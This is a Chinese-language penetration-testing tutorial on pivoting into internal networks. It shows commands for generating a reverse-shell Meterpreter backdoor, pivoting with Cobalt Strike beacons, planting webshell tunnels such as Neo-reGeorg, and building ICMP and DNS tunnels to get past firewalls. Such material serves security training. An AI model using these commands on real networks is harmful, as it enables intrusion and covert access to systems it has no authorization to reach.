隧道应用
netsh
netsh端口映射内网
netsh是windows下提供网络管理的命令行工具,它是一个交互式的shell,涉及到上下文的概念。我们在交互式下面进入相应的上下文,进行参数的设置。也可以进行非交互式的端口转发。
应用场景:
在B服务器上存在777端口是WEB服务,现在想要kali能访问B服务器的7777端口上的内容,因为不在同一个网段kali不能直接访问B而且B服务器不能直接出网。windows自带的端口转发netsh interface portproxy
可以通过这个小工具在A服务器上设置端口转发
- 设置转发
netsh interface portproxy add v4tov4 listenport=转发端口 connectaddress=B服务器ip connectport=目标端口
netsh interface portproxy add v4tov4 listenport=7777 connectaddress=10.10.10.154 connectport=80
- 访问内容
进行转发后访问192.168.0.142:7777即可获取B服务器上的端口内容
- 其他内容
#清除指定规则
netsh interface portproxy delete v4tov4 listenport=7777
#查看转发规则
netsh interface portproxy show all
#清除所有规则
netsh interface portproxy reset
netsh端口转发监听metperter
在服务器A上可以通过设置代理访问B服务器。如果拿到B服务器的权限,通常是生成正向的后门,然后kali的msf可以正向连接B服务器,由此得到metperter,进而进行其他操作。如果服务器B上有防火墙拦截,kali的msf不能正向连接上后门,为解决这个问题,可以通过生成一个反向后门连接到服务器A,在服务器A上再通过端口映射或者转发到kali的msf上
- msf生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.153 lport=4455 -f exe >re.exe
- 转发端口
将端口4455转发到kali上的4455端口上
netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.0.123 connectport=4455
- 在kali上监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.123
set lport 4455
- 执行后门
在B服务器上执行生成的后门文件即可获取metperter
cobalt strike多层内网上线
cobalt strike 简称cs , 一款APT攻击神器,APT长期是以攻击企业内网为主,所以考虑到内网穿透。内网穿透方式,分为正向和反向,正向是可以直连内网主机的,反向是让受害者反向连接。正向连接可以直接连接目标得到权限。下面是一个正向连接图。存在两个段teamserver不允许访问B,拥有服务器A的权限,目标是可以通过cs的正向连接连接到B
cobalt strke正向连接多层内网
首先A服务上已经有了cs的后门。通过后门查看网络信息发现存在10.10.10.0/24网段
因为服务器A是可以访问B的,所以在teamserver通过A作为跳板可以访问B。
- 生成监听器和后门
选择Beacon-tcp
- interact进入beacon连接目标
在B服务器上执行后门文件后,interact进入服务器A的beacon正向连接目标
connect 10.10.10.154 6666
cobalt strike反向连接多层内网
上面介绍到正向连接到多层内网,如果在B服务器上有防火墙进行拦截,那么正向连接就会连接失败。为了解决这一问题可以采用cobalt stike的反向连接。
反向连接可以突破防火墙的拦截,因为是从服务器内部反向连接出战。
反向连接teamserver图
- 通过跳板机的listeners监听反向的shell
设置监听器名字、host、port保存即可
- 建立相应的后门
后门上传至服务器,服务器触发后门上线主机
burpsuite设置上游代理访问内网
当kali获得服务器B的meterperter后,可以通过设置socks代理通过在A服务
器上配置proxychains能让D访问C服务器的80端口。
当D设置浏览器代理,访问C的时候实际上是D通过代理访问A的1080端口,转发到C的80端口上。因为浏览器已经设置代理,burpsuite 无法再使用浏览器代理,在这种情况下,bursuite 要想使用浏览器代理抓包,可以在burpsuite代理模块指定代理A的代理信息,但是burpsuite不支持socks4代理。可以考虑使用burpsuite的上游代理,浏览器请求C时,请求数据先经过BurpSuite,然后再流向设置的上游代理kali服务器代理,再经过B服务器即可访问到C的80端口数据
获取B的shell,添加路由
run post/multi/manage/autoroute //查看网络子网并添加自动路由
开启socks代理
开启代理后即可通过socks代理访问到服务器C
D主机配置
使用代理软件SocksCap64配置代理服务器
默认端口是25378
访问测试
抓取并测试重放成功
Metasploit Portfwd(端口转发/重定向)
portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4--IPV6的转换转发。并且内置于meterpreter。exe单版本源码:
https://github.com/rssnsj/portfwd
Meterpreter shell中的portfwd命令最常用于端口转发,允许直接访问供给系统无法访问的机器。在可以访问攻击者和目标网络(或系统)的受损主机上运行此命令,我们可以通过本机转发TCP连接,从而使其成为一个支点。就像使用ssh连接的端口转发技术一样,portfwd将在与连接的机器之间进行中继
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> 转发:要侦听的本地主机(可选)。反向:要连接到的本地主机。
-R 表示反向端口正向。
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> 转发:要侦听的本地端口。反向:要连接的本地端口。
-p <opt> 转发:要连接到的远程端口。反向:要侦听的远程端口。
-r <opt> 转发:要连接到的远程主机。
- 先获取目标主机shell
- 转发入侵机器的端口
portfwd add -l 8080 -r 10.10.10.154 -p 80
将受害者B的80端口转发到A上的8080端口
内网转发Neo-reGeorg
攻击者A,通过访问B的80端口获取一个系统权限,C数据库服务器不能出网,但是B能访问。可以在B设置代理,那么攻击者A就能通过代理访问C的服务器以及C的整个内网网段。reGeorg是一个能穿透内网的工具,基于socks5而且支持脚本众多。是一款内网穿透神器,但是作为使用率较多的软件,杀软都会拦截,使用还要做免杀处理。
现有一个项目是由reGeorg修改而来,提高了连接安全,做了加密处理,进行了特征免杀
项目地址:https://github.com/L-codes/Neo-reGeorg
使用方法
python3 neoreg.py -h # 查看帮助
# 可选参数:
-h, --help # 显示此帮助信息并退出
-u URI, --url URI # 包含隧道脚本的url
-k KEY, --key KEY # 特定连接密钥
-l IP, --listen-on IP # 默认监听地址 (默认值: 127.0.0.1)
-p PORT, --listen-port PORT # 默认监听端口 (默认值: 1080)
-s, --skip # 跳过可用性测试
-H LINE, --header LINE # 将自定义标题行传递到服务器
-c LINE, --cookie LINE # 自定义到服务器的cookie
-x LINE, --proxy LINE # proto://host[:port] 在给定端口上使用代理
--read-buff Bytes # 本地读取缓冲区,每个日志发送的最大数据(默认值: 1024)
--read-interval MS # 读取数据间隔(毫秒) (默认值: 100)
--max-threads N # 代理最大线程数 (默认值: 1000)
-v # 显示详细信息 (使用-vv或者更多的v显示更详细的信息)
- 设置密码并生成隧道文件,运行后会生成一个
neoreg_server
目录,里面包含了各种语言类型的隧道文件
python3 neoreg.py generate -k tenet
[+] Create neoreg server files:
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel_compatibility.jsp
=> neoreg_servers/tunnel.php
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel_compatibility.jspx
=> neoreg_servers/tunnel.aspx
-
选择相应的脚本放入边界服务器中,在本地建立Socks代理。
python3 neoreg.py -k tenet -u http://localhost/tunel.aspx
使用Neo-reGeorg建立socks隧道后
- 浏览器可直接通过Proxy、FoxyProxy等插件配置Socks代理
- 某些工具(如Nmap)不支持socks代理,则需要额外配置Proxychains-Ng
Proxychains-Ng
- 安装
Kali中自带Proxychains
git clone https://github.com/rofl0r/proxychains-ng.git # 下载
cd proxychains-ng && ./configure && make && make install # 编译安装
cp ./src/proxychains.conf /etc/proxychains.conf # 拷贝配置文件
cd .. && rm -rf proxychains-ng # 删除目录(可不执行)
- 配置
# 找到proxychains.conf文件所在的路径
# 将socks4 127.0.0.1 9095改为 socks5 127.0.0.1 1080
$ vim /etc/proxychains.conf
- 测试
proxychains curl -v http://10.10.10.154
SSH
SSH隧道转发的常见场景
本质上就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。
例如,Telnet,SMTP,LDAP这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。
而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的链接,也能够通过将TCP端口转发来使用SSH进行通讯。
SSH端口转发的两大功能
- 加密SSH Client端至SSH Server端之间的通讯数据
- 突破防火墙的限制,完成一些之前无法建立的TCP连接
SSH本地socks5代理
ssh -qTfnN -D 7070 root@x.x.x.x(vps)
将本地7070端口转发到远程服务器
-D 动态转发
-C 压缩数据
-q 安静模式
-T 禁止远程分配终端
-n 关闭标准输入
-N 不执行远程命令
-f 将ssh放到后台运行
SSH本地转发访问内网
正向连接
ssh -L localport:remotehost:remotehostport sshserver
说明:
localport 本机开启的端口号
remotehost 连接机器的IP地址
remotehostport 转发机器的端口号
sshserver 转发机器的IP地址
选项:
-L 表示Local Port Forwarding,即本地端口转发
-f 后台启用
-N 不打开远程shell,处于等待状态(不加-N则会进入分配的命令行)
-g 启用网关功能
应用场景一
要求A能够访问内部系统C的80端口
A与B能互通,B与C能互通,A与C不能通信,C不能出网
现在有个需求A通过访问B的某个端口就能访问到C的80端口的WEB服务。
可以使用ssh进行本地转发远程IP,那么A就能通过B的端口转发访问C。
- 方法
在A服务器上执行
ssh -fN -L 本地端口:目标IP:目标端口 root@192.168.0.106
ssh -fN -L 6666:10.10.10.154:80 root@192.168.0.106
解析:A在本地访问自己的6666端口,就相当于通过B访问C的80端口
即通过B将C的80端口转发到本地6666端口
然后,A上的应用访问A的6666端口的数据,就会自动通过SSH的加密隧道发到B,然后B自动解密后,发给C的80号端口。这样,A就实现了穿透防火墙到达B并访问到了C
应用场景二
把目标的端口转发出来
例如mysql服务器只允许本地访问,在外部不能访问。这就很好地保护了mysql免受外部攻击
ssh -L 3307:localhost:3306 root@192.168.0.106 -fN
进行登录测试
mysql -h 127.0.0.1 -P 3307 -u root -p
SSH远程转发访问内网
远程转发是指把登录主机所在网络中某个端口通过本地主机端口转发到远程主机上。
远程转发通过参数 -R
指定,格式:
-R [登录主机:]登录主机端口:本地网络主机:本地网络主机端口
举例:ssh -R 0.0.0.0:8080:host2:80 user@host1。这条命令将host2
的80端口映射到待登录主机host1的8080端口,前提是本地主机可以正常连接host2
的80端口。
远程转发属于反向连接的一种,所以可以穿透内网防火墙。在内网渗透中比较好用。
以下是一个经典的案例:
A可以与B互通,B与C可以互通,A与C不能通信。
现在想让A访问C的80端口,需要在B做转发,但是B与C内部有防火墙拦截,只允许3306通过,不允许80端口通过。
这就需要用到SSH远程转发了
首先修改sshd_config里的AllowTcpForwarding
选项,否则-R
远程端口转发会失败。
默认转发到远程主机上的端口绑定的是127.0.0.1
,如要绑定0.0.0.0
需要打开sshd_config里的GatewayPorts
选项。这个选项如果由于权限没法打开也有办法,可配合ssh -L
将端口绑定到0.0.0.0
,这样A就可以通过指定端口访问到C
- 远程转发测试
在C服务器上执行
ssh -R 8080:10.10.10.154:80 root@10.10.10.153
现在我们就可以在A上通过访问B的8080端口,进而访问到C的80端口了
使用EW做Socks5正向和方向代理穿透内网
EarthWorm,(简称EW)是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。相较于其他穿透工具,如reGeorg等, EarthWorm可以穿透更复杂的内网环境同时也不需要跳板机运行web服务,也可以支持多平台间的转接通讯,如Linux、Windows、MacOS、Arm-Linux等。
根据官方文档说明,EarthWorm能够以“正向连接”、“反向连接”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
目前该工具已经永久停止更新并且作者已经提交了查杀规则
主页:EarthWorm
EW正向代理访问内网
A获取B的权限后在B设置代理访问,那么A就能访问C
根据B的系统上传对应版本的EW并在B服务器里执行
ew_for_linux64.exe -s ssocksd -l 8888
建立一个socks代理监听本地8888端口
- 测试
EW反向代理访问内网
- 在C上执行
ew_for_Win.exe -s rssocks -d 10.10.10.153 -e 1024
- 在B上执行
ew_for_Win.exe -s rcsocks -l 1080 -e 1024
- 在A上kali中使用proxychins增加socks代理为B
使用nmap扫描测试 10.10.10.153的80端口
proxychains nmap -Pn -sT 10.10.10.153 -p 80
Tunna搭建HTTP正向代理
Tunna1.1 是 secforce 在2014年11月出品的一款基于HTTP隧道工具。其中v1.1中支持了SOCKS4a。
Tunna可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制。
用法
python proxy.py -u <remoteurl> -l <localport> [options]
**选项 **
--help,-h 显示帮助消息并退出。
--url=URL,-u URL远程webshell
--lport=LOCAL_PORT,-l LOCAL_PORT 本地监听端口
--verbose,-v 输出数据包大小
--buffer=BUFFERSIZE,-b BUFFERSIZE* HTTP请求大小(一些webshels对大小有限制)
没有SOCKS代理的选择
如果使用SOCKS代理,则忽略此选项
--no-socks,-n 不用SOCKS代理
--rport=REMOTE_PORT,-r REMOTE_PORT 连接webshell服务的远程端口
--addr=REMOTE_IP,-a REMOTE_IP 远程webshell连接地址(默认为 127.0.0.1)
**上游代理选项 **
通过本地代理隧道进行连接
--up-proxy=UPPROXY,-x 上游代理服务器网站(http://proxyserver.com:3128)
--auth,-A 上游代理需要进行认证
高级选项
--ping-interval=PING_DELAY, -q PING_DELAY webshprx 的ping线程间隔(默认= 0.5)
--start-ping, -s 首先进行ping数据发送(例如一些服务,比如SSH)
--cookie, -C 请求cookies
--authentication, -t 基础身份验证
Tunna代理并不是非常稳定,经常出现掉线情况,尤其是使用Tunna代理远程连接的流量时,经常掉线。但是使用Tunna访问内网web服务还算稳定。
项目地址:https://github.com/SECFORCE/Tunna.git
非常遗憾的是,Tunna对PHP的支持并不是太友好。
场景应用
A与B互通,B与C互通,A与C不能通信,现在A已经拿下B的权限,通过在B设置代理再访问C的3389端口。
在B的网站上传conn.aspx,目标需要支持脚本运行
- 在A执行
python2 proxy.py -u http://192.168.0.130/conn.aspx -l 1234 -a 10.10.10.154 -r 3389 -s -v
使用remmina等其他远程工具连接本地1234端口
rdesktop会有证书问题,无法进行远程连接
利用ICMP隧道技术进行ICMP封装穿透防火墙
ptunnel
在一些网络环境中,如果不经过认证,TCP和UDP数据包都会被拦截。如果用户可以ping通远程计算机,就可以尝试建立ICMP隧道,将TCP数据通过该隧道发送,实现不受限的网络访问。用户需要在受限制网络之外,预先启动该工具建立代理服务器。再以客户端模式运行该工具,就可以建立ICMP隧道。为了避免该隧道被滥用,用户还可以为隧道设置使用密码。
使用icmptunnel
可以将IP流量封装进ICMP的ping数据包中,皆在利用ping穿透防火墙的检测,因为通常防火墙是不会屏蔽ping数据包的。
请求端的Ping工具会在 ICMP数据包后面附加上一段随机的数据作为payload,而响应端则会拷贝这段payload到ICMP响应数据包中返还给请求端,用于识别和匹配Ping请求
在使用ptunnel工具进行内网穿透时,客户端会将IP帧封装在ICMP请求数据包中发送给服务器,而服务端则会使用相匹配的ICMP响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只是正常的ICMP数据包。
参数
-p 代理服务器地址
-lp 本地端口
-da 目标内网IP
-dp 目标端口
回显服务端命令列表
标注 net available on windows标识是需要在windows下使用,本次实验不涉及
-c 网卡编号
-v 显示详细过程,值可以-1-5,-1为不显示,5为最详细】
-u dp【通过dns协议传输,端口为udp53】
-x 进入此隧道密码,如果服务器加该参数,客户端也需要加同样参数和值】
-f 指定一个日志文件
应用场景
A与B是能互通的,B与C能互通,A与C之间存在防火墙拦截禁用了TCP协议,但是A能ping通C由此判断防火墙没有对ICMP协议进行封禁,由此可以使用ICMP隧道技术。
需要用到的工具就是ptunnel,kali中已默认安装
- 在C中设置
启动一个http服务器
python3 -m http.server 80
防火墙封禁A的tcp访问
iptables -A INPUT -p tcp -s 192.168.0.143 -j DROP
- 在B中运行
在代理主机B中启动服务端,设置密码
ptunnel -x 1234
- 在A中运行
客户端运行以下命令,连接服务器并且侦听本地8080端口
ptunnel -p 192.168.0.137 -lp 8080 -da 192.168.0.144 -dp 80 -x 1234
在A上访问http://localhost:8080 即可访问C的目标80端口
DNS隧道穿透防火墙
DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling 也经常在僵尸网络和APT攻击中扮演者重要的角色。
dns2TCP
dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,使用C语言开发。使用的是经典的C/S 模式
兼容说明
- 服务端运行在
Linux
服务器上,Windows不支持服务端,需编译,对应文件:dns2tcpd。 - 客户端可运行在
Linux
和Windows
上,对应文件:dns2tcpc。 - kali系统内置dns2tcp
安装下载
#ubuntu
sudo apt-get install dns2tcp
#centos
wget https://github.com/alex-sector/dns2tcp/archive/refs/tags/v0.5.2.tar.gz
tar zxf v0.5.2.tar.gz
cd dns2tcp-0.5.2
./configure
make
make install
#windwos客户端安装
1、网络下载dns2tcp客户端程序dns2tcpc
2、使用Dev C++的mingw64进行编译
Dev C++地址:https://sourceforge.net/projects/dev-cpp
git clone https://github.com/alex-sector/dns2tcp.git
cd dns2tcp
./configure
cd client
mingw32-make
- dns2tcpd
服务端参数
-F 强制在后台运行,默认在后台
-i IP address,监听的IP,默认0.0.0.0
-f 配置文件
指定使用的配置文件路径
-d debug level
指定调试级别,输出相关级别日志,默认为1,2,3
- dns2tcpc
客户端参数
Usage : dns2tcpc [options] [server]
-c : 启用压缩
-z <domain> : 要使用的域名(必选)
-d <1|2|3> : 调试级别(1, 2 or 3)
-r <resource> : 访问的目标资源
-k <key> : pre-shared key
-f <filename> : 配置文件路径
-l <port|-> : 要绑定的本地端口,'-'用于stdin(如果在没有程序的情况下定义资源,则为必填项)
-e <program> : 要执行的程序
-t <delay> : 最大DNS服务器的应答延迟(默认为3)
-T <TXT|KEY> : DNS请求类型(默认为TXT)
- 配置文件
为了避免运行时指定太多的参数,可以通过指定配置文件来启动服务端。
listen=0.0.0.0
port=53
user=nobody
chroot=/tmp
domain=<domain.com>
resources=ssh:127.0.0.1:22
应用场景
C能访问B,但是C只允许DNS出网,防火墙一般不会对53端口进行封锁,允许开发53端口所以可以利用DNS隧道
需要购买一台VPS,并且一定要把udp53端口的出战和入站都要开放
设置域名信息
添加A记录并指向VPS的IP
再添加一条NS记录指向到我们添加的A记录
VPS安装配置dns2tcp
在/etc目录建立一个明文dns2tcpd.conf的文件,输入以下配置
listen = 0.0.0.0
port = 53
user = root # 设置用户
key = sing1e # 设置密码
chroot = /tmp
domain = dns2tcp.[你的域名]
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:8082
resource是dns2tcp供客户端使用的资源。作用是:客户端在本地监听一个端口,并指定使用的资源,当有数据往端口传送后,dns2tcp客户端将数据用DNS协议传动到服务器,然后服务器将数据转发到对应的资源配置的端口中。
启动服务端
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
#关闭服务端
killall dns2tcpd
在C中下载客户端并执行
dns2tcpc -r ssh -z domain IP -l 8888 -d 3 -k sing1e
-r 后接服务名称<ssh/socks/http中的任意一个>
-z 后接你设置的NS记录,和你的VPS公网ip <公网ip> 可不填,不写将使用中继模式,否则使用直连模式
中继模式像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。
-l 后接本地端口,随便一个常用端口就行,8888”指明了隧道的这头监听的端口
-d 开启 Debug ,“-d 2”指明了输出调试信息,级别为2,作用和服务器端相同
-k 密码 可以省略
测试
将端口设置为客户端本地监听的8888端口实现远程登录VPS服务端
若是前面各步均正确无误,最后出现了错误:
No response from DNS xx.xx.xx.xx
那么可能的原因是中途某个DNS服务器丢弃了TXT类型的奇怪DNS查询请求。如何解决这一问题呢?其实只要我们能绕过中途那台DNS服务器就好了。但问题是我们不知道问题出在哪里,中途有哪些DNS服务器我们也是不知道的。所以可用以下方法绕过所有DNS服务器
1、把客户端的DNS直接设置为“xxx.xx.xx.xxx”(公网IP)
2、#也可以在dns2tcpc的参数中指明要使用的DNS服务器
dns2tcpc -r ssh -z dns2tcp.werner.wiki dns.werner.wiki -l 8888
第二个解决办法我们实际上完全抛开了现有的域名系统,也就没有了注册域名设置解析的必要。但若防火墙规则较为严格,只允许目的IP是特定DNS服务器的数据包通过,此方法便行不通了。